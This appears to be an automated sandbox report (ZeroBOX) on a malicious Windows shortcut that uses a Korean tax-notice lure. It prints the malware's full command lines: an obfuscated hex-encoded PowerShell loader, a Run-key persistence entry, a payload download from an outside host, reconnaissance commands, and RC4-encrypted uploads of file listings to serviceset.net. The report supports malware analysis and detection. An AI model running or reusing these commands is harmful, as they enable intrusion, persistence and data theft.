Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 4, 2023, 10:57 a.m.	Sept. 4, 2023, 10:59 a.m.

Size	1.7MB
Type	MS Windows shortcut, Has Description string, Has command line arguments, Icon number=0, ctime=Sun Dec 31 15:32:08 1600, mtime=Sun Dec 31 15:32:08 1600, atime=Sun Dec 31 15:32:08 1600, length=0, window=hidenormalshowminimized
MD5	`19dc387bffdc0a22f640bd38af320db4`
SHA256	`778e46f8f3641a92d34da68dffc168fdc936841c5ad3d8b44da62a7b2dfe2ee1`
CRC32	`E17E9E73`
ssdeep	`6144:DyKySJqsxxyq//Su0ScpS8vKaDJJhfYAjB:DyKDtyE/Su/F8vxdXf9`
Yara	lnk_file_format - Microsoft Windows Shortcut File Format Lnk_Format_Zero - LNK Format

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "xHmp" "C:\Users\test22\AppData\Local\Temp\Konni_종합소득세 해명자료 제출 안내.lnk"
2568
- cmd.exe "C:\Windows\system32\cmd.exe" /c kLAimNRUoEGuatlUuOKkLLLwVCMvhezlxBGZbIyumICTZzlcbtwSXzTaUTdtXdrCkKpsDzfNVgPktpqbuxogRqLFconpPdMhSkUTqokuzEMGupdlsPXOzXXRDMCoYSeMmfhGAcsodnWboJlPsrwN||goto&p^ow^e^rs^he^l^l -windowstyle hidden $dedicte="$loped='247772726D6D706649203D204765742D4C6F636174696F6E3B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B696628244F70586F464574654845596D6A68467A662E6C656E677468202D6571203029207B247772726D6D706649203D2024656E763A54656D703B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B247772726D6D706649203D2053706C69742D5061746820244F70586F464574654845596D6A68467A663B24426E785667756D4768203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D28244F70586F464574654845596D6A68467A662C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B24426E785667756D47682E5365656B282D6D706649544F2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B247643474B7046637A734A6153203D204E65772D4F626A65637420627974655B5D202D70586F464574652D3B24426E785667756D47682E5265616428247643474B7046637A734A61532C20302C202D70586F464574652D293B246C47794E7573745952434B6C4E726273203D20244F70586F464574654845596D6A68467A662E737562737472696E6728302C244F70586F464574654845596D6A68467A662E6C656E6774682D34293B666F722824693D303B2469202D6C7420247643474B7046637A734A61532E636F756E743B24692B2B29207B20247643474B7046637A734A61535B24695D203D20247643474B7046637A734A61535B24695D202D62786F722030783737207D20736320246C47794E7573745952434B6C4E72627320247643474B7046637A734A6153202D456E636F64696E6720427974653B2620246C47794E7573745952434B6C4E7262733B24426E785667756D47682E5365656B282D4845596D6A68467A2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2473576248676D7A6F7A415261423D4E65772D4F626A65637420627974655B5D202D6654426E785667756D2D3B24426E785667756D47682E52656164282473576248676D7A6F7A415261422C20302C202D6654426E785667756D2D293B24426E785667756D47682E436C6F736528293B52656D6F76652D4974656D202D5061746820244F70586F464574654845596D6A68467A66202D466F7263653B24704C416A6674626F72484A7A546D74443D24656E763A7075626C6963202B20275C27202B20272D4768517643474B7046632D273B666F722824693D303B2469202D6C74202473576248676D7A6F7A415261422E636F756E743B24692B2B29207B202473576248676D7A6F7A415261425B24695D203D202473576248676D7A6F7A415261425B24695D202D62786F722030783737207D73632024704C416A6674626F72484A7A546D7444202473576248676D7A6F7A41526142202D456E636F64696E6720427974653B24705044764F767164764D4F7859203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2473505075774B4B49517A203D2024705044764F767164764D4F78592E4E616D6573706163652824704C416A6674626F72484A7A546D7444293B24705044764F767164764D4F78592E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282473505075774B4B49517A2E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D706174682024704C416A6674626F72484A7A546D7444202D666F7263653B2461756A6E7664444D6D566A726A4D4B673D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B26202461756A6E7664444D6D566A726A4D4B673B';$bytes = for($i = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-Ewrrm-', '0x001ABC72';$hoikd = $hoikd -replace '-mpfITO-', '0x00003A7E';$hoikd = $hoikd -replace '-pXoFEte-', '0x00014000';$hoikd = $hoikd -replace '-HEYmjhFz-', '0x00017A7E';$hoikd = $hoikd -replace '-fTBnxVgum-', '0x0001456B';$hoikd = $hoikd -replace '-GhQvCGKpFc-', '14897.zip';Invoke-Expression $hoikd;";Invoke-Expression $dedicte;
  2680
  - powershell.exe powershell -windowstyle hidden $dedicte="$loped='247772726D6D706649203D204765742D4C6F636174696F6E3B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B696628244F70586F464574654845596D6A68467A662E6C656E677468202D6571203029207B247772726D6D706649203D2024656E763A54656D703B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B247772726D6D706649203D2053706C69742D5061746820244F70586F464574654845596D6A68467A663B24426E785667756D4768203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D28244F70586F464574654845596D6A68467A662C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B24426E785667756D47682E5365656B282D6D706649544F2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B247643474B7046637A734A6153203D204E65772D4F626A65637420627974655B5D202D70586F464574652D3B24426E785667756D47682E5265616428247643474B7046637A734A61532C20302C202D70586F464574652D293B246C47794E7573745952434B6C4E726273203D20244F70586F464574654845596D6A68467A662E737562737472696E6728302C244F70586F464574654845596D6A68467A662E6C656E6774682D34293B666F722824693D303B2469202D6C7420247643474B7046637A734A61532E636F756E743B24692B2B29207B20247643474B7046637A734A61535B24695D203D20247643474B7046637A734A61535B24695D202D62786F722030783737207D20736320246C47794E7573745952434B6C4E72627320247643474B7046637A734A6153202D456E636F64696E6720427974653B2620246C47794E7573745952434B6C4E7262733B24426E785667756D47682E5365656B282D4845596D6A68467A2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2473576248676D7A6F7A415261423D4E65772D4F626A65637420627974655B5D202D6654426E785667756D2D3B24426E785667756D47682E52656164282473576248676D7A6F7A415261422C20302C202D6654426E785667756D2D293B24426E785667756D47682E436C6F736528293B52656D6F76652D4974656D202D5061746820244F70586F464574654845596D6A68467A66202D466F7263653B24704C416A6674626F72484A7A546D74443D24656E763A7075626C6963202B20275C27202B20272D4768517643474B7046632D273B666F722824693D303B2469202D6C74202473576248676D7A6F7A415261422E636F756E743B24692B2B29207B202473576248676D7A6F7A415261425B24695D203D202473576248676D7A6F7A415261425B24695D202D62786F722030783737207D73632024704C416A6674626F72484A7A546D7444202473576248676D7A6F7A41526142202D456E636F64696E6720427974653B24705044764F767164764D4F7859203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2473505075774B4B49517A203D2024705044764F767164764D4F78592E4E616D6573706163652824704C416A6674626F72484A7A546D7444293B24705044764F767164764D4F78592E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282473505075774B4B49517A2E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D706174682024704C416A6674626F72484A7A546D7444202D666F7263653B2461756A6E7664444D6D566A726A4D4B673D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B26202461756A6E7664444D6D566A726A4D4B673B';$bytes = for($i = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-Ewrrm-', '0x001ABC72';$hoikd = $hoikd -replace '-mpfITO-', '0x00003A7E';$hoikd = $hoikd -replace '-pXoFEte-', '0x00014000';$hoikd = $hoikd -replace '-HEYmjhFz-', '0x00017A7E';$hoikd = $hoikd -replace '-fTBnxVgum-', '0x0001456B';$hoikd = $hoikd -replace '-GhQvCGKpFc-', '14897.zip';Invoke-Expression $hoikd;";Invoke-Expression $dedicte;
    2776
    - cmd.exe "C:\Windows\system32\cmd.exe" /c kLAimNRUoEGuatlUuOKkLLLwVCMvhezlxBGZbIyumICTZzlcbtwSXzTaUTdtXdrCkKpsDzfNVgPktpqbuxogRqLFconpPdMhSkUTqokuzEMGupdlsPXOzXXRDMCoYSeMmfhGAcsodnWboJlPsrwN||goto&p^ow^e^rs^he^l^l -windowstyle hidden $dedicte="$loped='247772726D6D706649203D204765742D4C6F636174696F6E3B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B696628244F70586F464574654845596D6A68467A662E6C656E677468202D6571203029207B247772726D6D706649203D2024656E763A54656D703B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B247772726D6D706649203D2053706C69742D5061746820244F70586F464574654845596D6A68467A663B24426E785667756D4768203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D28244F70586F464574654845596D6A68467A662C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B24426E785667756D47682E5365656B282D6D706649544F2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B247643474B7046637A734A6153203D204E65772D4F626A65637420627974655B5D202D70586F464574652D3B24426E785667756D47682E5265616428247643474B7046637A734A61532C20302C202D70586F464574652D293B246C47794E7573745952434B6C4E726273203D20244F70586F464574654845596D6A68467A662E737562737472696E6728302C244F70586F464574654845596D6A68467A662E6C656E6774682D34293B666F722824693D303B2469202D6C7420247643474B7046637A734A61532E636F756E743B24692B2B29207B20247643474B7046637A734A61535B24695D203D20247643474B7046637A734A61535B24695D202D62786F722030783737207D20736320246C47794E7573745952434B6C4E72627320247643474B7046637A734A6153202D456E636F64696E6720427974653B2620246C47794E7573745952434B6C4E7262733B24426E785667756D47682E5365656B282D4845596D6A68467A2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2473576248676D7A6F7A415261423D4E65772D4F626A65637420627974655B5D202D6654426E785667756D2D3B24426E785667756D47682E52656164282473576248676D7A6F7A415261422C20302C202D6654426E785667756D2D293B24426E785667756D47682E436C6F736528293B52656D6F76652D4974656D202D5061746820244F70586F464574654845596D6A68467A66202D466F7263653B24704C416A6674626F72484A7A546D74443D24656E763A7075626C6963202B20275C27202B20272D4768517643474B7046632D273B666F722824693D303B2469202D6C74202473576248676D7A6F7A415261422E636F756E743B24692B2B29207B202473576248676D7A6F7A415261425B24695D203D202473576248676D7A6F7A415261425B24695D202D62786F722030783737207D73632024704C416A6674626F72484A7A546D7444202473576248676D7A6F7A41526142202D456E636F64696E6720427974653B24705044764F767164764D4F7859203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2473505075774B4B49517A203D2024705044764F767164764D4F78592E4E616D6573706163652824704C416A6674626F72484A7A546D7444293B24705044764F767164764D4F78592E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282473505075774B4B49517A2E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D706174682024704C416A6674626F72484A7A546D7444202D666F7263653B2461756A6E7664444D6D566A726A4D4B673D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B26202461756A6E7664444D6D566A726A4D4B673B';$bytes = for($i = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-Ewrrm-', '0x001ABC72';$hoikd = $hoikd -replace '-mpfITO-', '0x00003A7E';$hoikd = $hoikd -replace '-pXoFEte-', '0x00014000';$hoikd = $hoikd -replace '-HEYmjhFz-', '0x00017A7E';$hoikd = $hoikd -replace '-fTBnxVgum-', '0x0001456B';$hoikd = $hoikd -replace '-GhQvCGKpFc-', '14897.zip';Invoke-Expression $hoikd;";Invoke-Expression $dedicte;
      2876
      - powershell.exe powershell -windowstyle hidden $dedicte="$loped='247772726D6D706649203D204765742D4C6F636174696F6E3B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B696628244F70586F464574654845596D6A68467A662E6C656E677468202D6571203029207B247772726D6D706649203D2024656E763A54656D703B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B247772726D6D706649203D2053706C69742D5061746820244F70586F464574654845596D6A68467A663B24426E785667756D4768203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D28244F70586F464574654845596D6A68467A662C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B24426E785667756D47682E5365656B282D6D706649544F2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B247643474B7046637A734A6153203D204E65772D4F626A65637420627974655B5D202D70586F464574652D3B24426E785667756D47682E5265616428247643474B7046637A734A61532C20302C202D70586F464574652D293B246C47794E7573745952434B6C4E726273203D20244F70586F464574654845596D6A68467A662E737562737472696E6728302C244F70586F464574654845596D6A68467A662E6C656E6774682D34293B666F722824693D303B2469202D6C7420247643474B7046637A734A61532E636F756E743B24692B2B29207B20247643474B7046637A734A61535B24695D203D20247643474B7046637A734A61535B24695D202D62786F722030783737207D20736320246C47794E7573745952434B6C4E72627320247643474B7046637A734A6153202D456E636F64696E6720427974653B2620246C47794E7573745952434B6C4E7262733B24426E785667756D47682E5365656B282D4845596D6A68467A2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2473576248676D7A6F7A415261423D4E65772D4F626A65637420627974655B5D202D6654426E785667756D2D3B24426E785667756D47682E52656164282473576248676D7A6F7A415261422C20302C202D6654426E785667756D2D293B24426E785667756D47682E436C6F736528293B52656D6F76652D4974656D202D5061746820244F70586F464574654845596D6A68467A66202D466F7263653B24704C416A6674626F72484A7A546D74443D24656E763A7075626C6963202B20275C27202B20272D4768517643474B7046632D273B666F722824693D303B2469202D6C74202473576248676D7A6F7A415261422E636F756E743B24692B2B29207B202473576248676D7A6F7A415261425B24695D203D202473576248676D7A6F7A415261425B24695D202D62786F722030783737207D73632024704C416A6674626F72484A7A546D7444202473576248676D7A6F7A41526142202D456E636F64696E6720427974653B24705044764F767164764D4F7859203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2473505075774B4B49517A203D2024705044764F767164764D4F78592E4E616D6573706163652824704C416A6674626F72484A7A546D7444293B24705044764F767164764D4F78592E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282473505075774B4B49517A2E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D706174682024704C416A6674626F72484A7A546D7444202D666F7263653B2461756A6E7664444D6D566A726A4D4B673D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B26202461756A6E7664444D6D566A726A4D4B673B';$bytes = for($i = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-Ewrrm-', '0x001ABC72';$hoikd = $hoikd -replace '-mpfITO-', '0x00003A7E';$hoikd = $hoikd -replace '-pXoFEte-', '0x00014000';$hoikd = $hoikd -replace '-HEYmjhFz-', '0x00017A7E';$hoikd = $hoikd -replace '-fTBnxVgum-', '0x0001456B';$hoikd = $hoikd -replace '-GhQvCGKpFc-', '14897.zip';Invoke-Expression $hoikd;";Invoke-Expression $dedicte;
        2936
        
        wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\documents\start.vbs"
        2504
    - wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\documents\start.vbs"
      1216
explorer.exe C:\Windows\Explorer.EXE
1452
cmd.exe cmd /c C:\Users\Public\documents\03909174.bat
2068
- reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "C:\Users\Public\Documents\start.vbs" /f
  2240
- powershell.exe powershell -command "$url = 'https://file.drive002.com/read/get.php?cu=ln3&so=xu6502';$DbSkKATDIdemOXdG = 'C:\Users\Public\Documents\77583.zip';iwr -Uri $url -OutFile $DbSkKATDIdemOXdG;"
  2276
- nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
  2572
- tasklist.exe tasklist
  1400
- systeminfo.exe systeminfo
  1504
- timeout.exe timeout -t 5 /nobreak
  1108
- powershell.exe powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i % $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$cxKIDwmZkAoWZwMY='http://serviceset.net/upload.php';$fn='TEST22-PC_cuserdown.txt';$fp='C:\Users\Public\Documents\cuserdown.txt';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['fn']=$fn;$query['fd']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($cxKIDwmZkAoWZwMY);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\upok.txt';New-Item -ItemType File -Path $fpok;}"
  3008
- powershell.exe powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i % $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$cxKIDwmZkAoWZwMY='http://serviceset.net/upload.php';$fn='TEST22-PC_cuserdocu.txt';$fp='C:\Users\Public\Documents\cuserdocu.txt';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['fn']=$fn;$query['fd']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($cxKIDwmZkAoWZwMY);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\upok.txt';New-Item -ItemType File -Path $fpok;}"
  2628
- powershell.exe powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i % $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$cxKIDwmZkAoWZwMY='http://serviceset.net/upload.php';$fn='TEST22-PC_cuserdesk.txt';$fp='C:\Users\Public\Documents\cuserdesk.txt';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['fn']=$fn;$query['fd']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($cxKIDwmZkAoWZwMY);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\upok.txt';New-Item -ItemType File -Path $fpok;}"
  2832
cmd.exe cmd /c C:\Users\Public\documents\03909174.bat
2596
- reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "C:\Users\Public\Documents\start.vbs" /f
  2788
- powershell.exe powershell -command "$url = 'https://file.drive002.com/read/get.php?cu=ln3&so=xu6502';$DbSkKATDIdemOXdG = 'C:\Users\Public\Documents\77583.zip';iwr -Uri $url -OutFile $DbSkKATDIdemOXdG;"
  2396
- nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
  1780
- tasklist.exe tasklist
  2644
- timeout.exe timeout -t 5 /nobreak
  2868
- powershell.exe powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i % $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$cxKIDwmZkAoWZwMY='http://serviceset.net/upload.php';$fn='TEST22-PC_cuserdown.txt';$fp='C:\Users\Public\Documents\cuserdown.txt';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['fn']=$fn;$query['fd']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($cxKIDwmZkAoWZwMY);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\upok.txt';New-Item -ItemType File -Path $fpok;}"
  1316
- powershell.exe powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i % $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$cxKIDwmZkAoWZwMY='http://serviceset.net/upload.php';$fn='TEST22-PC_cuserdocu.txt';$fp='C:\Users\Public\Documents\cuserdocu.txt';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['fn']=$fn;$query['fd']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($cxKIDwmZkAoWZwMY);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\upok.txt';New-Item -ItemType File -Path $fpok;}"
  1952
